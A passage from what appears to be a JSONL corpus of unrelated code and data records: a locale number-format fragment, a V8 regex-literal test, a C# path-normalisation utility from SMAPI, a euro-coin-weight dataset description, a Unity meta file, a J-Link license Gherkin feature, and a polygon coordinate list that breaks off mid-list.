\"currency\": {\n \"positivePattern\": \"{currency}{number}\",\n \"negativePattern\": \"{minusSign}{currency}{number}\"\n },\n \"percent\": {\n \"positivePattern\": \"{number} {percentSign}\",\n \"negativePattern\": \"{minusSign}{number} {percentSign}\"\n }\n },\n \"symbols\": {\n \"latn\": {\n \"decimal\": \".\",\n \"group\": \",\",\n \"nan\": \"NaN\",\n \"plusSign\": \"+\",\n \"minusSign\": \"-\",\n \"percentSign\": \"%\",\n \"infinity\": \"∞\"\n }\n },\n \"currencies\": {\n \"BRL\": \"R$\",\n \"ESP\": \"₧\",\n \"XPF\": \"CFPF\"\n }\n }\n}"} +{"text": "// Copyright 2013 the V8 project authors. All rights reserved.\n// Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions\n// are met:\n// 1. Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// 2. Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.\n//\n// THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY\n// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\ndescription(\"This test ensures that regeular expression literals are constants, and so persist over multiple executions\");\n\nfor (var i = 0; i < 2; i++) {\n currentRegExp = /a/;\n if (i)\n shouldBeFalse(\"currentRegExp === lastRegExp\");\n lastRegExp = currentRegExp;\n}\n\nfunction test1() {\n for (var i = 0; i < 2; i++) {\n currentRegExp = /a/;\n if (i)\n shouldBeFalse(\"currentRegExp === lastRegExp\");\n lastRegExp = currentRegExp;\n }\n}\ntest1();\n\nfunction returnRegExpLiteral() { return /a/ }\n\nshouldBeFalse(\"returnRegExpLiteral() === returnRegExpLiteral()\");\n\nfunction returnConditionalRegExpLiteral(first) {\n if (first)\n return /a/;\n return /a/;\n}\n\nshouldBeFalse(\"returnConditionalRegExpLiteral(true) === returnConditionalRegExpLiteral(true)\");\nshouldBeFalse(\"returnConditionalRegExpLiteral(false) === returnConditionalRegExpLiteral(false)\");\nshouldBeFalse(\"returnConditionalRegExpLiteral(true) === returnConditionalRegExpLiteral(false)\");\nreturnRegExpLiteral().someAddedProperty = true;\nshouldBeUndefined(\"returnRegExpLiteral().someAddedProperty\");\n"} +{"text": "using System;\nusing System.Diagnostics.Contracts;\nusing System.IO;\nusing System.Linq;\nusing System.Text.RegularExpressions;\n\nnamespace StardewModdingAPI.Toolkit.Utilities\n{\n /// Provides utilities for normalizing file paths.\n public static class PathUtilities\n {\n /*********\n ** Fields\n *********/\n /// The root prefix for a Windows UNC path.\n private const string WindowsUncRoot = @\"\\\\\";\n\n\n /*********\n ** Accessors\n *********/\n /// The possible directory separator characters in a file path.\n public static readonly char[] PossiblePathSeparators = new[] { '/', '\\\\', Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar }.Distinct().ToArray();\n\n /// The preferred directory separator character in an asset key.\n public static readonly char PreferredPathSeparator = Path.DirectorySeparatorChar;\n\n\n /*********\n ** Public methods\n *********/\n /// Get the segments from a path (e.g. /usr/bin/example => usr, bin, and example).\n /// The path to split.\n /// The number of segments to match. Any additional segments will be merged into the last returned part.\n [Pure]\n public static string[] GetSegments(string path, int? limit = null)\n {\n return limit.HasValue\n ? path.Split(PathUtilities.PossiblePathSeparators, limit.Value, StringSplitOptions.RemoveEmptyEntries)\n : path.Split(PathUtilities.PossiblePathSeparators, StringSplitOptions.RemoveEmptyEntries);\n }\n\n /// Normalize separators in a file path.\n /// The file path to normalize.\n [Pure]\n public static string NormalizePath(string path)\n {\n path = path?.Trim();\n if (string.IsNullOrEmpty(path))\n return path;\n\n // get basic path format (e.g. /some/asset\\\\path/ => some\\asset\\path)\n string[] segments = PathUtilities.GetSegments(path);\n string newPath = string.Join(PathUtilities.PreferredPathSeparator.ToString(), segments);\n\n // keep root prefix\n bool hasRoot = false;\n if (path.StartsWith(PathUtilities.WindowsUncRoot))\n {\n newPath = PathUtilities.WindowsUncRoot + newPath;\n hasRoot = true;\n }\n else if (PathUtilities.PossiblePathSeparators.Contains(path[0]))\n {\n newPath = PathUtilities.PreferredPathSeparator + newPath;\n hasRoot = true;\n }\n\n // keep trailing separator\n if ((!hasRoot || segments.Any()) && PathUtilities.PossiblePathSeparators.Contains(path[path.Length - 1]))\n newPath += PathUtilities.PreferredPathSeparator;\n\n return newPath;\n }\n\n /// Get a directory or file path relative to a given source path. If no relative path is possible (e.g. the paths are on different drives), an absolute path is returned.\n /// The source folder path.\n /// The target folder or file path.\n /// \n ///\n /// NOTE: this is a heuristic implementation that works in the cases SMAPI needs it for, but it doesn't handle all edge cases (e.g. case-sensitivity on Linux, or traversing between UNC paths on Windows). This should be replaced with the more comprehensive Path.GetRelativePath if the game ever migrates to .NET Core.\n ///\n /// \n [Pure]\n public static string GetRelativePath(string sourceDir, string targetPath)\n {\n // convert to URIs\n Uri from = new Uri(sourceDir.TrimEnd(PathUtilities.PossiblePathSeparators) + \"/\");\n Uri to = new Uri(targetPath.TrimEnd(PathUtilities.PossiblePathSeparators) + \"/\");\n if (from.Scheme != to.Scheme)\n throw new InvalidOperationException($\"Can't get path for '{targetPath}' relative to '{sourceDir}'.\");\n\n // get relative path\n string rawUrl = Uri.UnescapeDataString(from.MakeRelativeUri(to).ToString());\n if (rawUrl.StartsWith(\"file://\"))\n rawUrl = PathUtilities.WindowsUncRoot + rawUrl.Substring(\"file://\".Length);\n string relative = PathUtilities.NormalizePath(rawUrl);\n\n // normalize\n if (relative == \"\")\n relative = \".\";\n else\n {\n // trim trailing slash from URL\n if (relative.EndsWith(PathUtilities.PreferredPathSeparator.ToString()))\n relative = relative.Substring(0, relative.Length - 1);\n\n // fix root\n if (relative.StartsWith(\"file:\") && !targetPath.Contains(\"file:\"))\n relative = relative.Substring(\"file:\".Length);\n }\n\n return relative;\n }\n\n /// Get whether a path is relative and doesn't try to climb out of its containing folder (e.g. doesn't contain ../).\n /// The path to check.\n [Pure]\n public static bool IsSafeRelativePath(string path)\n {\n if (string.IsNullOrWhiteSpace(path))\n return true;\n\n return\n !Path.IsPathRooted(path)\n && PathUtilities.GetSegments(path).All(segment => segment.Trim() != \"..\");\n }\n\n /// Get whether a string is a valid 'slug', containing only basic characters that are safe in all contexts (e.g. filenames, URLs, etc).\n /// The string to check.\n [Pure]\n public static bool IsSlug(string str)\n {\n return !Regex.IsMatch(str, \"[^a-z0-9_.-]\", RegexOptions.IgnoreCase);\n }\n }\n}\n"} +{"text": "NAME: The Weight of Euro Coins \r\nTYPE: Fitting distributions to data\r\nSIZE: 2000 observations, 3 variables \r\n\r\nDESCRIPTIVE ABSTRACT:\r\nIn many statistical models the normal distribution of the response is an essential assumption.\r\nThis paper uses a dataset of 2000 euro coins with information (up to the milligram) about\r\nthe weight of each coin. As the physical coin production process is subject to a multitude\r\nof (very small) variability sources, it seems reasonable to expect that the empirical\r\ndistribution of the weight of euro coins does agree with the normal distribution. Goodness\r\nof fit tests however show that this is not the case. Moreover, some outliers complicate\r\nthe analysis. Mixtures of normal distributions and skew normal distributions are fitted\r\nto the data, revealing that the normality assumption might not hold for those weights.\r\n \r\nSOURCE: \r\nThe data were collected by Herman Callaert at Hasselt University in Belgium. The \r\neuro coins were \"borrowed\" at a local bank. Two assistants, Sofie Bogaerts and Saskia\r\nLitiere weighted the coins one by one, in laboratory conditions on a weighing scale\r\nof the type Sartorius BP 310s.\r\n\r\nVARIABLE DESCRIPTIONS:\r\nColumns\r\n1 - 8 ID this is the case number\r\n9 - 16 weight weight of the euro coin in grams\r\n17 batch number of the package\r\nValues are aligned and tab-delimited.\r\nThere are no missing values\r\n\r\nSTORY BEHIND THE DATA:\r\nCurriculum reform in Flanders (the Flemish part of Belgium) resulted in a significant\r\nincrease of statistical topics in grades 8-12. A group of university professors and high school\r\nteachers took this opportunity for reshaping statistics education towards \"more concepts\r\nand more real data\". In Belgium, as in many countries in Europe, the introduction of\r\nthe Euro has had a major impact on the life of people. That's why it was decided to\r\nstudy a characteristic (the weight) of the \"Belgian 1 Euro\" coin, and use this dataset\r\nin schools.\r\n\r\nPEDAGOGICAL NOTES:\r\nThis dataset may be explored by students at several levels. In high school, graphical\r\nmethods can be used, perhaps in conjunction with a simple goodness of fit test. Also\r\nthe story behind the data gathering process, and the lesson to be learned here, is crucial\r\nin any real life statistical experiment. A first year college course could delve\r\na bit deeper, while a full analysis (introducing mixtures and the skew normal) can be \r\nrevealing in a second course in statistics.\r\n\r\nSUBMITTED BY:\r\nZiv Shkedy, Marc Aerts, Herman Callaert\r\nHasselt University\r\nCenter for Statistics\r\nAgoralaan, 3590 Diepenbeek, Belgium\r\nmarc.aerts@uhasselt.be "} +{"text": "fileFormatVersion: 2\nguid: 2894e2899fe860745afbc810459e2cc2\nPrefabImporter:\n externalObjects: {}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "@connection\nFeature: Licenses\n As a J-Link owner,\n I want to be able to control the licenses on my J-Link\n In order to enable or disable functionality for third party software.\n\n Scenario: Adding a license\n Given my J-Link is connected\n When I add the license:\n \"\"\"\n IAR\n \"\"\"\n Then my J-Link should have the license\n \"\"\"\n IAR\n \"\"\"\n\n Scenario: Erasing a license\n Given my J-Link is connected\n And has the license:\n \"\"\"\n VCOM\n \"\"\"\n When I erase the licenses\n Then my J-Link should have no licenses\n"} +{"text": "polygon\n1\n\t1.138482E+01\t4.368623E+01\n\t1.138523E+01\t4.368617E+01\n\t1.138598E+01\t4.368637E+01\n\t1.138670E+01\t4.368655E+01\n\t1.138756E+01\t4.368696E+01\n\t1.138841E+01\t4.368752E+01\n\t1.138892E+01\t4.368788E+01\n\t1.138971E+01\t4.368813E+01\n\t1.139063E+01\t4.368843E+01\n\t1.139128E+01\t4.368891E+01\n\t1.139173E+01\t4.368928E+01\n\t1.139259E+01\t4.368928E+01\n\t1.139350E+01\t4.368911E+01\n\t1.139438E+01\t4.368889E+01\n\t1.139548E+01\t4.368868E+01\n\t1.139655E+01\t4.368849E+01\n\t1.139752E+01\t4.368818E+01\n\t1.139850E+01\t4.368788E+01\n\t1.139953E+01\t4.368785E+01\n\t1.140061E+01\t4.368772E+01\n\t1.140136E+01\t4.368748E+01\n\t1.140239E+01\t4.368721E+01\n\t1.140276E+01\t4.368712E+01\n\t1.140315E+01\t4.368702E+01\n\t1.140412E+01\t4.368704E+01\n\t1.140556E+01\t4.368707E+01\n\t1.140642E+01\t4.368722E+01\n\t1.140718E+01\t4.368758E+01\n\t1.140819E+01\t4.368825E+01\n\t1.140868E+01\t4.368868E+01\n\t1.140895E+01\t4.368918E+01\n\t1.140922E+01\t4.369009E+01\n\t1.140956E+01\t4.369124E+01\n\t1.141019E+01\t4.369205E+01\n\t1.141103E+01\t4.369292E+01\n\t1.141115E+01\t4.369301E+01\n\t1.141178E+01\t4.369353E+01\n\t1.141231E+01\t4.369380E+01\n\t1.141246E+01\t4.369398E+01\n\t1.141256E+01\t4.369410E+01\n\t1.141256E+01\t4.369439E+01\n\t1.141251E+01\t4.369467E+01\n\t1.141255E+01\t4.369479E+01\n\t1.141262E+01\t4.369499E+01\n\t1.141284E+01\t4.369510E+01\n\t1.141296E+01\t4.369516E+01\n\t1.141315E+01\t4.369518E+01\n\t1.141362E+01\t4.369523E+01\n\t1.141392E+01\t4.369523E+01\n\t1.141433E+01\t4.369523E+01\n\t1.141472E+01\t4.369523E+01\n\t1.141531E+01\t4.369523E+01\n\t1.141595E+01\t4.369537E+01\n\t1.141665E+01\t4.369549E+01\n\t1.141677E+01\t4.369551E+01\n\t1.141767E+01\t4.369554E+01\n\t1.141809E+01\t4.369593E+01\n\t1.141865E+01\t4.369600E+01\n\t1.141952E+01\t4.369596E+01\n\t1.142010E+01\t4.369614E+01\n\t1.142035E+01\t4.369669E+01\n\t1.142072E+01\t4.369729E+01\n\t1.142168E+01\t4.369752E+01\n\t1.142268E+01\t4.369749E+01\n\t1.142367E+01\t4.369748E+01\n\t1.142424E+01\t4.369789E+01\n\t1.142489E+01\t4.369816E+01\n\t1.142568E+01\t4.369789E+01\n\t1.142646E+01\t4.369765E+01\n\t1.142720E+01\t4.369747E+01\n\t1.142781E+01\t4.369717E+01\n\t1.142850E+01\t4.369686E+01\n\t1.142934E+01\t4.369650E+01\n\t1.143031E+01\t4.369635E+01\n\t1.143137E+01\t4.369638E+01\n\t1.143236E+01\t4.369613E+01\n\t1.143307E+01\t4.369570E+01\n\t1.143321E+01\t4.369523E+01\n\t1.143331E+01\t4.369474E+01\n\t1.143357E+01\t4.369424E+01\n\t1.143402E+01\t4.369401E+01\n\t1.143455E+01\t4.369393E+01\n\t1.143505E+01\t4.369444E+01\n\t1.143518E+01\t4.369448E+01\n\t1.143597E+01\t4.369478E+01\n\t1.143709E+01\t4.369477E+01\n\t1.143825E+01\t4.369440E+01\n\t1.143891E+01\t4.369400E+01\n\t1.143945E+01\t4.369361E+01\n\t1.144030E+01\t4.369373E+01\n\t1.144124E+01\t4.369395E+01\n\t1.144190E+01\t4.369407E+01\n\t1.144227E+01\t4.369390E+01\n\t1.144235E+01\t4.369338E+01\n\t1.144241E+01\t4.369290E+01\n\t1.144283E+01\t4.369256E+01\n\t1.144373E+01\t4.369242E+01\n\t1.144495E+01\t4.369236E+01\n\t1.144570E+01\t4.369249E+01\n\t1.144614E+01\t4.369289E+01\n\t1.144646E+01\t4.369329E+01\n\t1.144670E+01\t4.369396E+01\n\t1.144710E+01\t4.369446E+01\n\t1.144768E+01\t4.369457E+01\n\t1.144817E+01\t4.369436E+01\n\t1.144869E+01\t4.369386E+01\n\t1.144918E+01\t4.369343E+01\n\t1.144962E+01\t4.369308E+01\n\t1.145012E+01\t4.369289E+01\n\t1.145072E+01\t4.369282E+01\n\t1.145131E+01\t4.369280E+01\n\t1.145178E+01\t4.369280E+01\n\t1.145207E+01\t4.369280E+01\n\t1.145277E+01\t4.369238E+01\n\t1.145289E+01\t4.369231E+01\n\t1.145327E+01\t4.369210E+01\n\t1.145379E+01\t4.369171E+01\n\t1.145433E+01\t4.369129E+01\n\t1.145485E+01\t4.369088E+01\n\t1.145557E+01\t4.369037E+01\n\t1.145582E+01\t4.369029E+01\n\t1.145611E+01\t4.369019E+01\n\t1.145607E+01\t4.368998E+01\n\t1.145604E+01\t4.368984E+01\n\t1.145584E+01\t4.368892E+01\n\t1.145567E+01\t4.368757E+01\n\t1.145573E+01\t4.368663E+01\n\t1.145579E+01\t4.368570E+01\n\t1.145579E+01\t4.368480E+01\n\t1.145574E+01\t4.368390E+01\n\t1.145566E+01\t4.368337E+01\n\t1.145559E+01\t4.368294E+01\n\t1.145556E+01\t4.368236E+01\n\t1.145552E+01\t4.368172E+01\n\t1.145550E+01\t4.368100E+01\n\t1.145548E+01\t4.367993E+01\n\t1.145533E+01\t4.367904E+01\n\t1.145517E+01\t4.367829E+01\n\t1.145494E+01\t4.367756E+01\n\t1.145485E+01\t4.367720E+01\n\t1.145477E+01\t4.367685E+01\n\t1.145438E+01\t4.367638E+01\n\t1.145382E+01\t4.367597E+01\n\t1.145368E+01\t4.367586E+01\n\t1.145359E+01\t4.367581E+01\n\t1.145341E+01\t4.367571E+01\n\t1.145318E+01\t4.367557E+01\n\t1.145250E+01\t4.367518E+01\n\t1.145207E+01\t4.367480E+01\n\t1.145207E+01\t4.367473E+01\n\t1.145207E+01\t4.367429E+01\n\t1.145166E+01\t4.367385E+01\n\t1.145169E+01\t4.367338E+01\n\t1.145207E+01\t4.367293E+01\n\t1.145191E+01\t4.367260E+01\n\t1.145207E+01\t4.367249E+01\n\t1.145248E+01\t4.367219E+01\n\t1.145256E+01\t4.367214E+01\n\t1.145302E+01\t4.367192E+01\n\t1.145312E+01\t4.367187E+01\n\t1.145385E+01\t4.367156E+01\n\t1.145391E+01\t4.367152E+01\n\t1.145441E+01\t4.367117E+01\n\t1.145444E+01\t4.367100E+01\n\t1.145448E+01\t4.367077E+01\n\t1.145412E+01\t4.367046E+01\n\t1.145372E+01\t4.367026E+01\n\t1.145317E+01\t4.367006E+01\n\t1.145284E+01\t4.366986E+01\n\t1.145268E+01\t4.366980E+01\n\t1.145239E+01\t4.366967E+01\n\t1.145228E+01\t4.366962E+01\n\t1.145207E+01\t4.366953E+01\n\t1.145142E+01\t4.366953E+01\n\t1.145101E+01\t4.366944E+01\n\t1.145050E+01\t4.366927E+01\n\t1.145000E+01\t4.366898E+01\n\t1.144944E+01\t4.366824E+01\n\t1.144930E+01\t4.366761E+01\n\t1.144922E+01\t4.366737E+01\n\t1.144910E+01\t4.366701E+01\n\t1.144906E+01\t4.366669E+01\n\t1.144913E+01\t4.366643E+01\n\t1.144918E+01\t4.366622E+01\n\t1.144938E+01\t4.366581E+01\n\t1.145004E+01\t4.366549E+01\n\t1.145035E+01\t4.366524E+01\n\t1.145049E+01\t4.366514E+01\n\t1.145081E+01\t4.366488E+01\n\t1.145074E+01\t4.366436E+01\n\t1.145037E+01\t4.366357E+01\n\t1.145032E+01\t4.366346E+01\n\t1.145020E+01\t4.366325E+01\n\t1.144988E+01\t4.366266E+01\n\t1.144979E+01\t4.366251E+01\n\t1.144959E+01\t4.366217E+01\n\t1.144954E+01\t4.366209E+01\n\t1.144932E+01\t4.366162E+01\n\t1.144910E+01\t4.366117E+01\n\t1.144895E+01\t4.366076E+01\n\t1.144906E+01\t4.366024E+01\n\t1.144970E+01\t4.365996E+01\n\t1.145017E+01\t4.365994E+01\n\t1.145069E+01\t4.366012E+01\n\t1.145100E+01\t4.366021E+01\n\t1.145109E+01\t4.366024E+01\n\t1.145115E+01\t4.366026E+01\n\t1.145131E+01\t4.366030E+01\n\t1.145209E+01\t4.366039E+01\n\t1.145340E+01\t4.365983E+01\n\t1.145353E+01\t4.365975E+01\n\t1.145432E+01\t4.365924E+01\n\t1.145527E+01\t4.365829E+01\n\t1.145574E+01\t4.365702E+01\n\t1.145573E+01\t4.365607E+01\n\t1.145573E+01\t4.365559E+01\n\t1.145561E+01\t4.365523E+01\n\t1.145547E+01\t4.365478E+01\n\t1.145498E+01\t4.365359E+01\n\t1.145421E+01\t4.365176E+01\n\t1.145409E+01\t4.365100E+01\n\t1.145396E+01\t4.365019E+01\n\t1.145353E+01\t4.364882E+01\n\t1.145347E+01\t4.364812E+01\n\t1.145340E+01\t4.364733E+01\n\t1.145338E+01\t4.364607E+01\n\t1.145356E+01\t4.364483E+01\n\t1.145411E+01\t4.364385E+01\n\t1.145488E+01\t4.364271E+01\n\t1.145498E+01\t4.364256E+01\n\t1.145562E+01\t4.364195E+01\n\t1.145584E+01\t4.364165E+01\n\t1.145626E+01\t4.364123E+01\n\t1.145656E+01\t4.364091E+01\n\t1.145701E+01\t4.364044E+01\n\t1.145784E+01\t4.363956E+01\n\t1.145897E+01\t4.363858E+01\n\t1.145997E+01\t4.363773E+01\n\t1.146124E+01\t4.363675E+01\n\t1.146231E+01\t4.363596E+01\n\t1.146247E+01\t4.363584E+01\n\t1.146395E+01\t4.363467E+01\n\t1.146515E+01\t4.363375E+01\n\t1.146562E+01\t4.363340E+01\n\t1.146667E+01\t4.363262E+01\n\t1.146789E+01\t4.363175E+01\n\t1.146842E+01\t4.363137E+01\n\t1.146982E+01\t4.363032E+01\n\t1.147074E+01\t4.362964E+01\n\t1.147155E+01\t4.362978E+01\n\t1.147163E+01\t4.362979E+01\n\t1.147270E+01\t4.363003E+01\n\t1.147356E+01\t4.363035E+01\n\t1.147370E+01\t4.363039E+01\n\t1.147515E+01\t4.363078E+01\n\t1.147553E+01\t4.363076E+01\n\t1.147562E+01\t4.363076E+01\n\t1.147560E+01\t4.362978E+01\n\t1.147565E+01\t4.362910E+01\n\t1.147651E+01\t4.362858E+01\n\t1.147709E+01\t4.362835E+01\n\t1.147785E+01\t4.362805E+01\n\t1.147834E+01\t4.362791E+01\n\t1.147933E+01\t4.362762E+01\n\t1.147975E+01\t4.362750E+01\n\t1.147997E+01\t4.362745E+01\n\t1.148015E+01\t4.362741E+01\n\t1.148035E+01\t4.362737E+01\n\t1.148087E+01\t4.362728E+01\n\t1.148138E+01\t4.362712E+01\n\t1.148154E+01\t4.362707E+01\n\t1.148238E+01\t4.362676E+01\n\t1.148267E+01\t4.362665E+01\n\t1.148343E+01\t4.362623E+01\n\t1.148383E+01\t4.362598E+01\n\t1.148392E+01\t4.362613E+01\n\t1.148431E+01\t4.362602E+01\n\t1.148487E+01\t4.362586E+01\n\t1.148502E+01\t4.362579E+01\n\t1.148528E+01\t4.362568E+01\n\t1.148581E+01\t4.362545E+01\n\t1.148636E+01\t4.362499E+01\n\t1.148696E+01\t4.362447E+01\n\t1.148742E+01\t4.362421E+01\n\t1.148757E+01\t4.362413E+01\n\t1.148781E+01\t4.362400E+01\n\t1.148876E+01\t4.362392E+01\n\t1.148961E+01\t4.362389E+01\n\t1.148981E+01\t4.362389E+01\n\t1.149010E+01\t4.362390E+01\n\t1.149109E+01\t4.362387E+01\n\t1.149193E+01\t4.362380E+01\n\t1.149274E+01\t4.362373E+01\n\t1.149315E+01\t4.362369E+01\n\t1.149423E+01\t4.362321E+01\n\t1.149450E+01\t4.362295E+01\n\t1.149455E+01\t4.362290E+01\n\t1.149468E+01\t4.362278E+01\n\t1.149494E+01\t4.362253E+01\n\t1.149507E+01\t4.362240E+01\n\t1.149518E+01\t4.362219E+01\n\t1.149571E+01\t4.362120E+01\n\t1.149576E+01\t4.362108E+01\n\t1.149619E+01\t4.362000E+01\n\t1.149641E+01\t4.361890E+01\n\t1.149642E+01\t4.361884E+01\n\t1.149671E+01\t4.361805E+01\n\t1.149679E+01\t4.361785E+01\n\t1.149724E+01\t4.361759E+01\n\t1.149780E+01\t4.361727E+01\n\t1.149865E+01\t4.361644E+01\n\t1.149907E+01\t4.361583E+01\n\t1.149931E+01\t4.361549E+01\n\t1.149985E+01\t4.361456E+01\n\t1.150008E+01\t4.361408E+01\n\t1.150026E+01\t4.361368E+01\n\t1.150064E+01\t4.361280E+01\n\t1.150117E+01\t4.361127E+01\n\t1.150157E+01\t4.361034E+01\n\t1.150202E+01\t4.360944E+01\n\t1.150268E+01\t4.360863E+01\n\t1.150332E+01\t4.360738E+01\n\t1.150341E+01\t4.360680E+01\n\t1.150397E+01\t4.360586E+01\n\t1.150458E+01\t4.360528E+01\n\t1.150476E+01\t4.360511E+01\n\t1.150573E+01\t4.360452E+01\n\t1.150658E+01\t4.360418E+01\n\t1.150721E+01\t4.360401E+01\n\t1.150768E+01\t4.360388E+01\n\t1.150910E+01\t4.360342E+01\n\t1.151001E+01\t4.360285E+01\n\t1.151071E+01\t4.360206E+01\n\t1.151088E+01\t4.360186E+01\n\t1.151179E+01\t4.360098E+01\n\t1.151254E+01\t4.360025E+01\n\t1.151319E+01\t4.359961E+01\n\t1.151355E+01\t4.359923E+01\n\t1.151391E+01\t4.359883E+01\n\t1.151442E+01\t4.359825E+01\n\t1.151455E+01\t4.359810E+01\n\t1.151538E+01\t4.359737E+01\n\t1.151599E+01\t4.359671E+01\n\t1.151616E+01\t4.359641E+01\n\t1.151644E+01\t4.359590E+01\n\t1.151657E+01\t4.359508E+01\n\t1.151660E+01\t4.359479E+01\n\t1.151662E+01\t4.359454E+01\n\t1.151661E+01\t4.359422E+01\n\t1.151622E+01\t4.359348E+01\n\t1.151572E+01\t4.359273E+01\n\t1.151519E+01\t4.359193E+01\n\t1.151462E+01\t4.359132E+01\n\t1.151398E+01\t4.359088E+01\n\t1.151293E+01\t4.359037E+01\n\t1.151222E+01\t4.359005E+01\n\t1.151189E+01\t4.358989E+01\n\t1.151183E+01\t4.358985E+01\n\t1.151191E+01\t4.358978E+01\n\t1.151368E+01\t4.358809E+01\n\t1.151485E+01\t4.358713E+01\n\t1.151622E+01\t4.358600E+01\n\t1.151652E+01\t4.358573E+01\n\t1.151740E+01\t4.358496E+01\n\t1.151826E+01\t4.358411E+01\n\t1.151903E+01\t4.358316E+01\n\t1.152019E+01\t4.358233E+01\n\t1.152116E+01\t4.358139E+01\n\t1.152153E+01\t4.358109E+01\n\t1.152072E+01\t4.358051E+01\n\t1.151984E+01\t4.357986E+01\n\t1.151849E+01\t4.357928E+01\n\t1.151764E+01\t4.357891E+01\n\t1.151646E+01\t4.357835E+01\n\t1.151587E+01\t4.357815E+01\n\t1.151542E+01\t4.357817E+01\n\t1.151486E+01\t4.357819E+01\n\t1.151400E+01\t4.357805E+01\n\t1.151270E+01\t4.357777E+01\n\t1.151252E+01\t4.357772E+01\n\t1.151245E+01\t4.357770E+01\n\t1.151202E+01\t4.357757E+01\n\t1.151171E+01\t4.357748E+01\n\t1.151104E+01\t4.357713E+01\n\t1.151098E+01\t4.357719E+01\n\t1.151058E+01\t4.357762E+01\n\t1.151050E+01\t4.357841E+01\n\t1.151048E+01\t4.357872E+01\n\t1.151045E+01\t4.357902E+01\n\t1.151040E+01\t4.357960E+01\n\t1.150962E+01\t4.357968E+01\n\t1.150934E+01\t4.357964E+01\n\t1.150855E+01\t4.357950E+01\n\t1.150809E+01\t4.357938E+01\n\t1.150723E+01\t4.357901E+01\n\t1.150695E+01\t4.357939E+01\n\t1.150684E+01\t4.357949E+01\n\t1.150677E+01\t4.357956E+01\n\t1.150643E+01\t4.357987E+01\n\t1.150617E+01\t4.358011E+01\n\t1.150467E+01\t4.358033E+01\n\t1.150307E+01\t4.358018E+01\n\t1.150216E+01\t4.358000E+01\n\t1.150048E+01\t4.357961E+01\n\t1.149908E+01\t4.357921E+01\n\t1.149739E+01\t4.357875E+01\n\t1.149564E+01\t4.357832E+01\n\t1.149357E+01\t4.357816E+01\n\t1.149168E+01\t4.357843E+01\n\t1.148969E+01\t4.357918E+01\n\t1.148876E+01\t4.358005E+01\n\t1.148824E+01\t4.358105E+01\n\t1.148750E+01\t4.358194E+01\n\t1.148615E+01\t4.358231E+01\n\t1.148463E+01\t4.358260E+01\n\t1.148317E+01\t4.358277E+01\n\t1.148155E+01\t4.358301E+01\n\t1.147960E+01\t4.358333E+01\n\t1.147808E+01\t4.358359E+01\n\t1.147713E+01\t4.358381E+01\n\t1.147620E+01\t4.358405E+01\n\t1.147582E+01\t4.358415E+01\n\t1.147481E+01\t4.358441E+01\n\t1.147327E+01\t4.358476E+01\n\t1.147246E+01\t4.358501E+01\n\t1.147138E+01\t4.358534E+01\n\t1.146998E+01\t4.358563E+01\n\t1.146819E+01\t4.358599E+01\n\t1.146598E+01\t4.358646E+01\n\t1.146453E+01\t4.358687E+01\n\t1.146383E+01\t4.358710E+01\n\t1.146385E+01\t4.358674E+01\n\t1.146388E+01\t4.358616E+01\n\t1.146442E+01\t4.358549E+01\n\t1.146489E+01\t4.358481E+01\n\t1.146503E+01\t4.358404E+01\n\t1.146498E+01\t4.358336E+01\n\t1.146530E+01\t4.358281E+01\n\t1.146540E+01\t4.358220E+01\n\t1.146512E+01\t4.358147E+01\n\t1.146464E+01\t4.358110E+01\n\t1.146451E+01\t4.358106E+01\n\t1.146347E+01\t4.358079E+01\n\t1.146181E+01\t4.358050E+01\n\t1.146016E+01\t4.358022E+01\n\t1.145884E+01\t4.357989E+01\n\t1.145768E+01\t4.357956E+01\n\t1.145659E+01\t4.357940E+01\n\t1.145498E+01\t4.357908E+01\n\t1.145370E+01\t4.357885E+01\n\t1.145295E+01\t4.357866E+01\n\t1.145206E+01\t4.357832E+01\n\t1.145148E+01\t4.357802E+01\n\t1.145135E+01\t4.357780E+01\n\t1.145127E+01\t4.357766E+01\n\t1.145155E+01\t4.357717E+01\n\t1.145206E+01\t4.357685E+01\n\t1.145193E+01\t4.357660E+01\n\t1.145206E+01\t4.357652E+01\n\t1.145238E+01\t4.357632E+01\n\t1.145279E+01\t4.357578E+01\n\t1.145293E+01\t4.357519E+01\n\t1.145285E+01\t4.357454E+01\n\t1.145258E+01\t4.357397E+01\n\t1.145206E+01\t4.357342E+01\n\t1.145166E+01\t4.357295E+01\n\t1.145127E+01\t4.357253E+01\n\t1.145059E+01\t4.357197E+01\n\t1.144972E+01\t4.357147E+01\n\t1.144878E+01\t4.357112E+01\n\t1.144786E+01\t4.357080E+01\n\t1.144743E+01\t4.357064E+01\n\t1.144735E+01\t4.357013E+01\n\t1.144739E+01\t4.356982E+01\n\t1.144794E+01\t4.356939E+01\n\t1.144816E+01\t4.356902E+01\n\t1.144791E+01\t4.356875E+01\n\t1.144717E+01\t4.356817E+01\n\t1.144645E+01\t4.356737E+01\n\t1.144594E+01\t4.356687E+01\n\t1.144583E+01\t4.356676E+01\n\t1.144530E+01\t4.356640E+01\n\t1.144412E+01\t4.356596E+01\n\t1.144287E+01\t4.356549E+01\n\t1.144177E+01\t4.356506E+01\n\t1.144071E+01\t4.356491E+01\n\t1.143987E+01\t4.356440E+01\n\t1.143916E+01\t4.356355E+01\n\